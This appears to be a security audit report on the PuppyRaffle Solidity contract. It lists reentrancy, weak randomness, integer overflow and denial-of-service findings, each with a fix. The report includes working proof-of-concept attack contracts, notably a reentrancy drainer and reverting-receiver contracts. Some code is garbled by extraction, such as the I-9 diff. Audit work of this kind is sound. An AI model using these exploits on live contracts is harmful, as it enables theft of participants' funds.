



Protocol Audit Report

Version 1.0

Cyfrin.io

September 18, 2025

Protocol Audit Report

Cyfrin.io

September 18, 2025

Prepared by: YoYiL Lead Auditors: - YoYiL

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy Attack in `PuppyRaffle::refund` Function Allows Draining of Contract Funds
 - * [H-2] Predictable randomness in `PuppyRaffle::selectWinner` lets any user steer the winner
 - * [H-3] Integer Overflow in `PuppyRaffle::totalFees` Results in Permanent Fee Loss
 - * [H-4] Malicious winner can forever halt the raffle

- Medium
 - * [M-1] Looping through `players` to check for duplicates in `PuppyRaffle::enterRaffle` enables a Denial of Service (DoS) pattern by escalating gas for later entrants
 - * [M-2] Balance equality check in `PuppyRaffle::withdrawFees` can be grieved via forced ETH (selfdestruct), preventing withdrawals
 - * [M-3] Truncation risk: unsafe `uint256` → `uint64` cast of fee in `PuppyRaffle::selectWinner` causes fee loss
 - * [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
- Informational/Non-Crits
 - * [I-1] `getActivePlayerIndex` Function Returns Ambiguous Value, Causing Confusion for Player at Index 0
 - * [I-2] Floating Solidity pragmas
 - * [I-3] Using an Outdated Version of Solidity is Not Recommended
 - * [I-4] Missing checks for `address(0)` when assigning values to address state variables
 - * [I-5] Magic Numbers
 - * [I-6] Test Coverage
 - * [I-7] `_isActivePlayer` is never used and should be removed
 - * [I-8] Zero address may be erroneously considered an active player
 - * [I-9] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
 - * [I-10] State Changes are Missing Events
- Gas
 - * [G-1] Unchanged state variables should be declared constant or immutable
 - * [G-2] Storage Variables in a Loop Should be Cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function

4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YoYiL team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

- In Scope:

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	0
Info	10
Gas	2
Total	20

Findings

High

[H-1] Reentrancy Attack in `PuppyRaffle::refund` Function Allows Draining of Contract Funds

Description

The `refund` function in the `PuppyRaffle` contract is vulnerable to reentrancy attacks due to the violation of the Checks-Effects-Interactions (CEI) pattern. The function sends ETH to the caller before updating the contract state (removing the player from the array), allowing malicious contracts to re-enter the function and drain the contract's funds.

```
1 function refund(uint256 playerId) public {
2     address playerAddress = players[playerId];
```

```
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player  
4         can refund");  
5     require(playerAddress != address(0), "PuppyRaffle: Player already  
6         refunded, or is not active");  
7  
8     // @audit Reentrancy vulnerability: External call before state  
9     payable(msg.sender).sendValue(entranceFee);  
10    players[playerIndex] = address(0);  
11    emit RaffleRefund(playerAddress);  
12 }
```

The vulnerability occurs because: 1. The function validates the caller 2. **Sends ETH to the caller (external call)** 3. **Then updates state by setting `players[playerIndex] = address(0)`**

This ordering allows a malicious contract to receive the ETH, re-enter the `refund` function before the state is updated, and repeat the process multiple times.

Impact

- **Complete drainage of contract funds:** An attacker can steal all ETH held by the PuppyRaffle contract
- **Loss of funds for legitimate participants:** Other players lose their entrance fees
- **Broken raffle mechanism:** The contract becomes insolvent and cannot pay out prizes
- **High severity financial impact:** All funds in the contract are at risk

Proof of Concepts

The attack works by exploiting the reentrancy vulnerability in the following sequence:

1. **Setup Phase:** The attacker deploys a malicious contract that implements a `receive()` function to handle incoming ETH
2. **Entry Phase:** The attacker enters the raffle by calling `enterRaffle` with their contract address
3. **Attack Initiation:** The attacker calls `refund` to start the attack
4. **Reentrancy Loop:** When the `refund` function sends ETH to the attacker's contract, the `receive()` function is triggered, which immediately calls `refund` again before the original call completes
5. **State Exploitation:** Since `players[playerIndex]` hasn't been set to `address(0)` yet, the require checks pass, and the attacker receives another refund
6. **Repeated Drainage:** This process continues until the contract's balance is insufficient for another refund

The test demonstrates that with only a 1 ETH entrance fee investment, the attacker can drain the entire contract balance, stealing funds from all other participants.

[Click to view attack contract and test code](#)

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17             ;
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     receive() external payable {
22         if (address(puppyRaffle).balance >= entranceFee) {
23             puppyRaffle.refund(attackerIndex);
24         }
25     }
26
27     function test_reentrancyRefund() public {
28         // Users entering raffle
29         address[] memory players = new address[](4);
30         players[0] = playerOne;
31         players[1] = playerTwo;
32         players[2] = playerThree;
33         players[3] = playerFour;
34         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
35
36         // Create attack contract and user
37         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
38             puppyRaffle);
39         address attacker = makeAddr("attacker");
40         vm.deal(attacker, 1 ether);
41
42         // Noting starting balances
43         uint256 startingAttackContractBalance = address(attackerContract).
44             balance;
45         uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;
46
47         // Attack
48         vm.prank(attacker);
```

```
47     attackerContract.attack{value: entranceFee}();
48
49     // Impact - Contract funds drained
50     console.log("Starting attacker balance: ",
51         startingAttackContractBalance);
51     console.log("Starting PuppyRaffle balance: ",
52         startingPuppyRaffleBalance);
52     console.log("Ending attacker balance: ", address(attackerContract).
53         balance);
53     console.log("Ending PuppyRaffle balance: ", address(puppyRaffle).
54         balance);
54
55     // Attacker steals more than they put in
56     assert(address(attackerContract).balance >
57         startingAttackContractBalance + entranceFee);
57     // Contract is drained
58     assert(address(puppyRaffle).balance < startingPuppyRaffleBalance);
59 }
```

Recommended Mitigation

Implement the Checks-Effects-Interactions (CEI) pattern by updating the contract state before making external calls:

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
4          can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
5          refunded, or is not active");
5
6      + // Effects: Update state before external call
7      + players[playerIndex] = address(0);
8      + emit RaffleRefund(playerAddress);
9
10     // Interactions: External call after state update
11     payable(msg.sender).sendValue(entranceFee);
12     -
13     - players[playerIndex] = address(0);
14     - emit RaffleRefund(playerAddress);
15 }
```

Alternative solutions: 1. **Use OpenZeppelin's ReentrancyGuard**: Add the `nonReentrant` modifier to the function 2. **Add reentrancy protection**: Implement a simple reentrancy lock using a state variable

[H-2] Predictable randomness in `PuppyRaffle::selectWinner` lets any user steer the winner**Description:**

The function constructs its “random” value by hashing `msg.sender`, `block.timestamp`, and `block.difficulty`. This combination is easily forecast and therefore not genuinely random. Adversaries can either anticipate or influence these components to deterministically decide the raffle outcome.

Impact:

A malicious participant can force selection of a specific winner index, capture the prize funds, and always obtain the “rarest” puppy. This effectively collapses the rarity model, since controlled selection makes every puppy equally attainable to the attacker.

Proof of Concept:

Several avenues exist:

1. Block producers / validators can foresee (and partially influence) `block.timestamp` and the value formerly exposed as `block.difficulty` (now `prevrandao`), allowing them to plan when and how to participate. See the Solidity blog on `prevrandao`.
2. Attackers can manipulate the `msg.sender` component (e.g., by deploying contracts with chosen addresses) so that their resulting index becomes the winner.

Relying solely on on-chain environmental variables as a randomness seed is a well-documented weakness in the blockchain ecosystem.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer Overflow in `PuppyRaffle::totalFees` Results in Permanent Fee Loss

Description: In Solidity versions prior to 0.8.0, integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // myVar will be 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 8000000000000000000 + 17800000000000000000;
4 // due to overflow, the following is now the case
5 totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
        players);
16    // We end the raffle
17    vm.warp(block.timestamp + duration + 1);
18    vm.roll(block.number + 1);
19
20    // And here is where the issue occurs
21    // We will now have fewer fees even though we just finished a
        second raffle
22    puppyRaffle.selectWinner();
23
24    uint256 endingTotalFees = puppyRaffle.totalFees();
25    console.log("ending total fees", endingTotalFees);
26    assert(endingTotalFees < startingTotalFees);
27}
```

```
28         // We are also unable to withdraw any fees because of the
           require check
29         vm.prank(puppyRaffle.feeAddress());
30         vm.expectRevert("PuppyRaffle: There are currently players
           active!");
31         puppyRaffle.withdrawFees();
32     }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
           There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
1 (bool success,) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function,

inherited from the [ERC721](#) contract, attempts to call the [onERC721Received](#) hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the [onERC721Received](#) hook expected. This will prevent minting the NFT and will revert the call to [selectWinner](#).

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code

Place the following test into [PuppyRaffleTest.t.sol](#).

```
1 function testSelectWinnerDoS() public {
2     vm.warp(block.timestamp + duration + 1);
3     vm.roll(block.number + 1);
4
5     address[] memory players = new address[](4);
6     players[0] = address(new AttackerContract());
7     players[1] = address(new AttackerContract());
8     players[2] = address(new AttackerContract());
9     players[3] = address(new AttackerContract());
10    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
11
12    vm.expectRevert();
13    puppyRaffle.selectWinner();
14 }
```

For example, the [AttackerContract](#) can be this:

```
1 contract AttackerContract {
2     // Implements a `receive` function that always reverts
3     receive() external payable {
4         revert();
5     }
6 }
```

Or this:

```
1 contract AttackerContract {
2     // Implements a `receive` function to receive prize, but does not
3     // implement `onERC721Received` hook to receive the NFT.
4     receive() external payable {}
5 }
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the [selectWinner](#) function so that the winner account has to claim the prize by calling a function,

instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Looping through `players` to check for duplicates in `PuppyRaffle::enterRaffle` enables a Denial of Service (DoS) pattern by escalating gas for later entrants

Description

The `enterRaffle` function uses a nested loop to detect duplicate participant addresses. As the `players` array grows, each new call scales roughly with $O(n^2)$ comparisons (cumulative effect), making later participation disproportionately expensive. This creates unfair cost dynamics and can be exploited to deter additional entrants.

```
1 // @audit DoS pattern (quadratic duplicate scan)
2 for (uint256 i = 0; i < players.length - 1; i++) {
3     for (uint256 j = i + 1; j < players.length; j++) {
4         require(players[i] != players[j], "PuppyRaffle: Duplicate
5             Player");
6     }
7 }
```

Impact

- Gas costs for late entrants become significantly higher, discouraging normal user participation.
- Creates a rush incentive for early entry.
- An attacker (or coordinated users) can bloat the array early to make further entries uneconomic, effectively griefing or monopolizing the raffle.

Proof of Concept (Gas Comparison)

Two batches of 100 players produce approximate gas usage:

- First 100 players: ~6,252,048 gas
- Second 100 players: ~18,068,138 gas

The second batch costs over 3× the first due to quadratic growth.

Proof of Code (click to expand)

```
1 function testDenialOfService() public {
2     // Foundry lets us set a gas price
3     vm.txGasPrice(1);
4
5     // First 100 addresses
6     uint256 playersNum = 100;
7     address[] memory players = new address[](playersNum);
8     for (uint256 i = 0; i < players.length; i++) {
9         players[i] = address(i);
10    }
```

```
11
12     // Gas for first 100
13     uint256 gasStart = gasleft();
14     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
15         players);
16     uint256 gasEnd = gasleft();
17     uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
18     console.log("Gas cost of the first 100 players: ", gasUsedFirst);
19
20     // Second 100 addresses
21     address[] memory playersTwo = new address[](playersNum);
22     for (uint256 i = 0; i < playersTwo.length; i++) {
23         playersTwo[i] = address(i + playersNum);
24     }
25
26     // Gas for second 100
27     uint256 gasStartTwo = gasleft();
28     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
29         playersTwo);
30     uint256 gasEndTwo = gasleft();
31     uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
32     console.log("Gas cost of the second 100 players: ", gasUsedSecond);
33
34     assert(gasUsedSecond > gasUsedFirst);
35 }
```

Recommended Mitigation (diff)

Replace the quadratic duplicate scan with a constant-time membership check using a mapping keyed by address and scoped by a per-raffle `raffleId`. Verify new entries before mutating state to avoid always reverting. Also, clear (or logically invalidate) participation when starting the next raffle by incrementing `raffleId`.

```
1 +     mapping(address => uint256) public addressToRaffleId;
2 +     uint256 public raffleId = 0;
3
4
5
6     function enterRaffle(address[] memory newPlayers) public payable {
7         require(msg.value == entranceFee * newPlayers.length, "
8             PuppyRaffle: Must send enough to enter raffle");
9         for (uint256 i = 0; i < newPlayers.length; i++) {
10             players.push(newPlayers[i]);
11             addressToRaffleId[newPlayers[i]] = raffleId;
12         }
13 -     // Check for duplicates
```

```
14 + // Check for duplicates only from the new players
15 + for (uint256 i = 0; i < newPlayers.length; i++) {
16 +     require(addressToRaffleId[newPlayers[i]] != raffleId, "
PuppyRaffle: Duplicate player");
17 + }
18 - for (uint256 i = 0; i < players.length; i++) {
19 -     for (uint256 j = i + 1; j < players.length; j++) {
20 -         require(players[i] != players[j], "PuppyRaffle:
Duplicate player");
21 -     }
22 - }
23     emit RaffleEnter(newPlayers);
24 }
25 .
26 .
27 .
28 function selectWinner() external {
29 +     raffleId = raffleId + 1;
30     require(block.timestamp >= raffleStartTime + raffleDuration, "
PuppyRaffle: Raffle not over");
```

[M-2] Balance equality check in `PuppyRaffle::withdrawFees` can be grieved via forced ETH (selfdestruct), preventing withdrawals

Description:

The `withdrawFees` function enforces that `address(this).balance == totalFees`. Although the contract lacks a payable `fallback` or `receive` function, an attacker can forcibly send ETH using `selfdestruct`, inflating the contract balance beyond `totalFees` and causing the require statement to revert perpetually.

```
1 function withdrawFees() external {
2 @>     require(address(this).balance == uint256(totalFees), "
PuppyRaffle: There are currently players active!");
3     uint256 feesToWithdraw = totalFees;
4     totalFees = 0;
5     (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6     require(success, "PuppyRaffle: Failed to withdraw fees");
7 }
```

Impact:

An attacker can deny the `feeAddress` from ever retrieving accumulated fees. They can monitor the mempool for a withdrawal attempt and front-run it by forcing in minimal ETH (e.g., 1 wei) via `selfdestruct`, breaking the equality check and blocking execution.

Proof of Concept:

1. Contract holds 800 wei; `totalFees` is 800.

2. Attacker executes a `selfdestruct` sending 1 wei to the raffle.
3. Now `address(this).balance` is 801 while `totalFees` remains 800, so `withdrawFees` reverts indefinitely until logic changes (no in-contract mechanism to realign the numbers).

Recommended Mitigation:

Eliminate the fragile balance equality constraint.

```
1     function withdrawFees() external {
2 -     require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
3     uint256 feesToWithdraw = totalFees;
4     totalFees = 0;
5     (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6     require(success, "PuppyRaffle: Failed to withdraw fees");
7 }
```

[M-3] Truncation risk: unsafe `uint256` → `uint64` cast of fee in `PuppyRaffle::selectWinner` causes fee loss**Description:**

Inside `selectWinner`, the computed `fee` (a `uint256`) is added to `totalFees` after an explicit cast to `uint64`. If `fee` (or cumulative totals) exceed `type(uint64).max`, truncation silently occurs:

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
    PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
    );
4
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
    sender, block.timestamp, block.difficulty))) % players.
    length;
6         address winner = players[winnerIndex];
7         uint256 fee = totalFees / 10;
8         uint256 winnings = address(this).balance - fee;
9 @>         totalFees = totalFees + uint64(fee);
10        players = new address[] (0);
11        emit RaffleWinner(winner, winnings);
12    }
```

`uint64` maxes out at 18,446,744,073,709,551,615 (18.4 ETH). Any value beyond that boundary is truncated modulo 2^{64} , potentially wrapping to a much smaller number (even zero).

Impact:

Fees above the `uint64` limit are incorrectly recorded, leading to under-accounted fees and trapping real ETH inside the contract (since `totalFees` no longer reflects actual claimable amounts).

Proof of Concept:

1. Raffle accumulates slightly more than `type(uint64).max` in total fee units (or a single fee pushes it over).
2. Casting `uint256 fee` to `uint64` reduces it (wraps).
3. `totalFees` stores a truncated value, diverging from the intended accounting.

Foundry chisel reproduction:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation:

Maintain `totalFees` as `uint256` and remove the narrowing cast. Although a comment claims storage packing for gas optimization:

```
1 // We do some storage packing to save gas
```

The gas tradeoff is not worth silent truncation risk.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
9         uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -         totalFees = totalFees + uint64(fee);
16 +         totalFees = totalFees + fee;
17     }
```

[M-4] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the onus on the winner to claim their prize. (Recommended)

Informational/Non-Crits**[I-1] getActivePlayerIndex Function Returns Ambiguous Value, Causing Confusion for Player at Index 0****Description**

The `getActivePlayerIndex` function returns 0 when a player is not found, which creates ambiguity since array indices start at 0. When a player located at index 0 calls this function, it's impossible to distinguish whether the returned 0 means "player is at index 0" or "player is not in the raffle".

```
1 /// @notice a way to get the index in the array
2 /// @param player the address of a player in the raffle
3 /// @return the index of the player in the array, if they are not
    active, it returns 0
4 function getActivePlayerIndex(address player) external view returns (
    uint256) {
5     for (uint256 i = 0; i < players.length; i++) {
6         if (players[i] == player) {
7             return i;
8         }
9     }
10 }
```

```
9     }  
10    return 0;  
11 }
```

While the `refund` function has proper validation mechanisms to prevent invalid refunds, the ambiguous return value from `getActivePlayerIndex` still causes confusion for user experience and system integration.

Impact

- Players at index 0 may incorrectly believe they are not in the raffle
- Frontend applications cannot accurately determine player participation status
- Negative impact on user experience, potentially causing user confusion
- Potential logic errors during system integration

Proof of Concepts

```
1 // Assume player A is the first player to enter the raffle, located at  
  players[0]  
2 address playerA = 0x123...;  
3 players[0] = playerA;  
4  
5 // When player A calls getActivePlayerIndex  
6 uint256 index = getActivePlayerIndex(playerA); // Returns 0  
7  
8 // When a non-existent player calls  
9 address nonExistentPlayer = 0x456...;  
10 uint256 nonExistentIndex = getActivePlayerIndex(nonExistentPlayer); //  
   Also returns 0  
11  
12 // Cannot distinguish between these two cases:  
13 // 1. playerA is at index 0  
14 // 2. nonExistentPlayer is not in the raffle
```

Recommended mitigation

Modify the `getActivePlayerIndex` function's return logic to use a clearer way to distinguish between "player found" and "player not found" scenarios:

```
1 /// @notice Get the index of a player in the array  
2 /// @param player The address of a player in the raffle  
3 /// @return found Whether the player was found  
4 /// @return index The player's index in the array (only valid when  
   found is true)  
5 function getActivePlayerIndex(address player) external view returns (  
   bool found, uint256 index) {  
6     for (uint256 i = 0; i < players.length; i++) {  
7         if (players[i] == player) {  
8             return (true, i);  
9         }  
10    }  
11    return (false, 0);  
12 }
```

```
9         }
10    }
11    return (false, 0);
12 }
```

Or use a revert approach:

```
1  /// @notice Get the index of a player in the array
2  /// @param player The address of a player in the raffle
3  /// @return The player's index in the array
4  function getActivePlayerIndex(address player) external view returns (
    uint256) {
5      for (uint256 i = 0; i < players.length; i++) {
6          if (players[i] == player) {
7              return i;
8          }
9      }
10     revert("PuppyRaffle: Player not found in active raffle");
11 }
```

[I-2] Floating Solidity pragmas

Description:

The contracts currently declare a caret (^) pragma, permitting compilation with any compatible future 0.7.x compiler. This introduces risk: deployment or testing under a different minor/patch compiler than originally validated may surface subtle behavior changes, optimizer differences, or newly introduced compiler bugs. Such drift can produce unintended side effects.

Reference: <https://swcregistry.io/docs/SWC-103/>

Recommended Mitigation:

Pin the Solidity compiler to an exact version to guarantee deterministic builds.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity 0.7.6;
```

[I-3] Using an Outdated Version of Solidity is Not Recommended

[I-4] Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for `address (0)`.

- Found in `src/PuppyRaffle.sol` Line: 69

```
1     feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
1      previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
1      feeAddress = newFeeAddress;
```

[I-5] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

Recommended Mitigation: Replace all magic numbers with constants.

```
1 +      uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 +      uint256 public constant FEE_PERCENTAGE = 20;
3 +      uint256 public constant TOTAL_PERCENTAGE = 100;
4 .
5 .
6 .
7 -      uint256 prizePool = (totalAmountCollected * 80) / 100;
8 -      uint256 fee = (totalAmountCollected * 20) / 100;
9      uint256 prizePool = (totalAmountCollected *
      PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
10     uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
      TOTAL_PERCENTAGE;
```

[I-6] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

1	File	% Lines	% Statements
2	% Branches % Funcs		
3	----- -----		
3	script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)
4	src/PuppyRaffle.sol	82.46% (47/57)	83.75% (67/80)
5	test/auditTests/ProofOfCodes.t.sol	100.00% (7/7)	100.00% (8/8)
6	Total	80.60% (54/67)	81.52% (75/92)

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the [Branches](#) column.

[I-7] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 - function _isActivePlayer() internal view returns (bool) {
2 -     for (uint256 i = 0; i < players.length; i++) {
3 -         if (players[i] == msg.sender) {
4 -             return true;
5 -         }
6 -     }
7 -     return false;
8 - }
```

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that “This function will allow there to be blank spots in the array”. However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there’s been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

[I-9] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

Description:

It’s best to keep code clean and follow CEI (Checks, Effects, Interactions).

Recommended Mitigation:

```
1  ````diff
```

- (bool success,) = winner.call{value: prizePool}("");

- `require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId);`
- `(bool success,) = winner.call{value: prizePool}("");`
- `require(success, "PuppyRaffle: Failed to send prize pool to winner"); ""`

[I-10] State Changes are Missing Events

Description: A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

Recommended Mitigation: It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 + uint256 playersLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playersLength - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++) {
6         require(players[i] != players[j], "PuppyRaffle: Duplicate player"
7             );
8     }
9 }
```